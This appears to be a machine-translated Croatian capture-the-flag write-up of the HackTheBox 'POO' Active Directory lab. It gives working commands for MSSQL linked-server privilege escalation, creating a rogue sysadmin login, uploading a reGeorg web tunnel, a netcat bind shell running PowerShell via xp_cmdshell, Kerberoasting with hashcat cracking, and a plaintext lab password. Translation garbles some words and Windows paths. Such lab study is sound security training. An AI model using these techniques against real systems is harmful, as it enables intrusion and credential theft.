HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

U ovom ćemo članku analizirati prolaz ne samo stroja, već cijelog mini-laboratorija s mjesta HackTheBox.

Kao što je navedeno u opisu, POO je dizajniran za testiranje vještina u svim fazama napada u malom okruženju Active Directory. Cilj je kompromitirati raspoloživi host, eskalirati privilegije i na kraju kompromitirati cijelu domenu prikupljanjem 5 zastavica u procesu.

Veza s laboratorijem je putem VPN-a. Preporuča se da se ne povezujete s radnog računala ili s hosta na kojem se nalaze važni podaci za vas, jer ulazite u privatnu mrežu s ljudima koji znaju nešto o informacijskoj sigurnosti 🙂

organizacijske informacije
Kako biste mogli saznati o novim člancima, softveru i drugim informacijama, stvorio sam Telegram kanal и grupi za raspravu o svim problemima na području IIKB-a. Također i vaše osobne zahtjeve, pitanja, sugestije i preporuke Pogledat ću i svima odgovoriti..

Sve informacije služe samo u obrazovne svrhe. Autor ovog dokumenta ne preuzima nikakvu odgovornost za bilo kakvu štetu nastalu bilo kome kao rezultat korištenja znanja i metoda dobivenih kao rezultat proučavanja ovog dokumenta.

Uvod

Ova završna igra sastoji se od dva stroja i sadrži 5 zastavica.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Također je dat opis i adresa dostupnog hosta.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Započnimo!

Zastava za izviđanje

Ovaj stroj ima IP adresu 10.13.38.11 koju dodajem u /etc/hosts.
10.13.38.11 poo.htb

Prvi korak je skeniranje otvorenih portova. Budući da skeniranje svih portova s ​​nmapom traje dugo, prvo ću to učiniti s masscanom. Skeniramo sve TCP i UDP portove s tun0 sučelja pri 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Sada, da bismo dobili detaljnije informacije o uslugama koje rade na portovima, pokrenimo skeniranje s opcijom -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Dakle, imamo IIS i MSSQL usluge. U ovom slučaju saznat ćemo pravi DNS naziv domene i računala. Na web poslužitelju nas dočekuje IIS početna stranica.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Iterirajmo po imenicima. Za ovo koristim gobuster. U parametrima navodimo broj streamova 128 (-t), URL (-u), rječnik (-w) i ekstenzije koje nas zanimaju (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Dakle, imamo HTTP autentifikaciju za direktorij /admin, kao i dostupnu datoteku za pohranu usluge stolnog računala .DS_Store. .DS_Store su datoteke koje pohranjuju korisničke postavke za mapu, poput popisa datoteka, lokacije ikona, odabrane pozadinske slike. Takva datoteka može završiti u direktoriju web poslužitelja web programera. Tako dobivamo informacije o sadržaju imenika. Za ovo možete koristiti DS_Store indeksiranje.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Dobivamo sadržaj imenika. Najzanimljivija stvar ovdje je /dev direktorij, iz kojeg možemo vidjeti izvorne i db datoteke u dvije grane. Ali možemo koristiti prvih 6 znakova naziva datoteka i direktorija ako je usluga ranjiva na IIS ShortName. Ovu ranjivost možete provjeriti pomoću IIS skener kratkih naziva.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

I nalazimo jednu tekstualnu datoteku koja počinje s "poo_co". Ne znajući što dalje, jednostavno sam iz rječnika imenika odabrao sve riječi koje počinju na "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

I ponovite s wfuzzom.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

I pronađite pravu riječ! Gledamo ovu datoteku, spremamo vjerodajnice (sudeći po parametru DBNAME, one su iz MSSQL-a).

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Predajemo zastavu, a napredujemo 20%.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Huh zastava

Spajamo se na MSSQL, ja koristim DBeaver.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Ne nalazimo ništa zanimljivo u ovoj bazi, napravimo SQL Editor i provjerimo koji su korisnici.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Imamo dva korisnika. Provjerimo naše privilegije.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Dakle, nema nikakvih privilegija. Pogledajmo povezane poslužitelje, pisao sam o ovoj tehnici u detalje здесь.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Dakle, nalazimo drugi SQL Server. Provjerimo izvršavanje naredbi na ovom poslužitelju koristeći openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

A možemo čak i izgraditi stablo upita.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Činjenica je da kada uputimo zahtjev povezanom poslužitelju, zahtjev se izvršava u kontekstu drugog korisnika! Pogledajmo koji korisnički kontekst pokrećemo na povezanom poslužitelju.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

A sada da vidimo u kojem kontekstu se izvršava zahtjev s povezanog poslužitelja na naš!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Dakle, to je DBO kontekst koji mora imati sve privilegije. Provjerimo privilegije u slučaju zahtjeva s povezanog poslužitelja.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Kao što vidite, imamo sve privilegije! Kreirajmo našeg admina ovako. Ali ne puštaju ih kroz openquery, ajmo to kroz EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

A sada se povezujemo s vjerodajnicama novog korisnika, promatramo novu bazu podataka zastava.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Predajemo ovu zastavu i idemo dalje.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Zastava povratka

Nabavimo ljusku koristeći MSSQL, ja koristim mssqlclient iz impacket paketa.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Moramo dobiti lozinke, a prvo što smo već upoznali je stranica. Dakle, potrebna nam je konfiguracija web poslužitelja (ne možemo baciti prikladnu ljusku, očito vatrozid radi).

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Ali pristup je odbijen. Iako možemo čitati datoteku iz MSSQL-a, samo trebamo znati koji su programski jezici konfigurirani. I u direktoriju MSSQL saznajemo da postoji Python.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Tada nema problema s čitanjem datoteke web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

S pronađenim vjerodajnicama idite na /admin i podignite zastavicu.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

zastava uporišta

Zapravo, postoje neke neugodnosti zbog korištenja vatrozida, ali gledajući mrežne postavke, primjećujemo da se koristi i IPv6 protokol!

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Dodajte ovu adresu u /etc/hosts.
dead:babe::1001 poo6.htb
Ponovno skenirajmo host, ali ovaj put preko IPv6.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

A usluga WinRM dostupna je preko IPv6. Povežimo se s pronađenim vjerodajnicama.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Na radnoj površini je zastavica, predaj je.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

P00ned zastava

Nakon izviđanja na domaćinu sa grašak ne nalazimo ništa posebno. Tada je odlučeno ponovno tražiti vjerodajnice (također sam pisao na ovu temu članak). Ali nisam mogao dobiti sve SPN-ove iz sustava putem WinRM-a.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Izvršimo naredbu preko MSSQL-a.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Na taj način dobivamo SPN korisnika p00_hr i p00_adm, što znači da su ranjivi na napad kao što je Kerberoasting. Ukratko, možemo dobiti hashove njihovih zaporki.

Prvo morate nabaviti stabilnu ljusku u ime MSSQL korisnika. No budući da smo ograničeni u pristupu, vezu s hostom imamo samo preko portova 80 i 1433. Ali moguće je tunelirati promet kroz luku 80! Za ovo koristimo sljedeća primjena. Učitajmo datoteku tunnel.aspx u početni direktorij web poslužitelja - C: inetpubwwwroot.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Ali kada mu pokušamo pristupiti, dobivamo pogrešku 404. To znači da se *.aspx datoteke ne izvršavaju. Da biste pokrenuli datoteke s ovim ekstenzijama, instalirajte ASP.NET 4.5 na sljedeći način.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

I sada, kada pristupimo tunnel.aspx, dobivamo odgovor da je sve spremno za rad.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Pokrenimo klijentski dio aplikacije koji će preusmjeravati promet. Sav promet s porta 5432 proslijedit ćemo na poslužitelj.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

I koristimo proxy lance za slanje prometa bilo koje aplikacije preko našeg proxyja. Dodajmo ovaj proxy u konfiguracijsku datoteku /etc/proxychains.conf.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Sada prenesimo program na poslužitelj netcat, s kojim ćemo napraviti stabilnu bind shell, i skriptu Pozovite Kerberoast, s kojim ćemo izvesti Kerberoasting napad.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Sada, kroz MSSQL, pokrećemo slušatelja.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

I povezujemo se preko našeg proxyja.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

I uzmimo hašiše.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Zatim morate ponoviti ove hashove. Budući da rockyou nije imao rječnik podataka o zaporkama, koristio sam SVE rječnike zaporki koje nudi Seclists. Za nabrajanje koristimo hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

I nalazimo obje lozinke, prvu u dutch_passwordlist.txt rječniku, a drugu u Keyboard-Combinations.txt.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

I tako imamo tri korisnika, idemo na kontroler domene. Prvo saznajmo njegovu adresu.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Odlično, naučili smo IP adresu kontrolera domene. Otkrijmo sve korisnike domene, kao i tko je od njih administrator. Za preuzimanje skripte za dobivanje informacija PowerView.ps1. Zatim ćemo se povezati koristeći evil-winrm, navodeći direktorij sa skriptom u parametru -s. A zatim samo učitajte PowerView skriptu.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Sada imamo pristup svim njegovim funkcijama. Korisnik p00_adm izgleda kao privilegirani korisnik, pa ćemo raditi u njegovom kontekstu. Kreirajmo objekt PSCredential za ovog korisnika.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Sada će se sve Powershell naredbe u kojima navedemo Creds izvršavati u ime p00_adm. Prikažimo popis korisnika i atribut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

I tako, naš korisnik je stvarno privilegiran. Da vidimo kojim skupinama on pripada.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Konačno potvrđujemo da je korisnik administrator domene. To mu daje pravo da se daljinski prijavi na kontroler domene. Pokušajmo se prijaviti s WinRM koristeći naš tunel. Zbunile su me pogreške koje je izdao reGeorg prilikom korištenja evil-winrm-a.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Zatim koristimo drugi, lakši, skripta za povezivanje na WinRM. Otvorite i promijenite parametre veze.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Pokušavamo se povezati, a u sustavu smo.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Ali zastave nema. Zatim pogledajte korisnika i provjerite radne površine.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

Kod mr3ksa nalazimo zastavu i laboratorij je 100% završen.

HackTheBoxendgame. Prolazak laboratorija za profesionalne napadne operacije. Pentest Active Directory

To je sve. Kao povratnu informaciju komentirajte jeste li naučili nešto novo iz ovog članka i je li vam bio koristan.

Možete nam se pridružiti na Telegram. Tamo možete pronaći zanimljive materijale, spojene tečajeve, kao i softver. Okupimo zajednicu u kojoj će biti ljudi koji se razumiju u mnoga područja IT-a, tada si uvijek možemo pomoći jedni drugima u bilo kakvim pitanjima IT-a i informacijske sigurnosti.

Izvor: www.habr.com

Dodajte komentar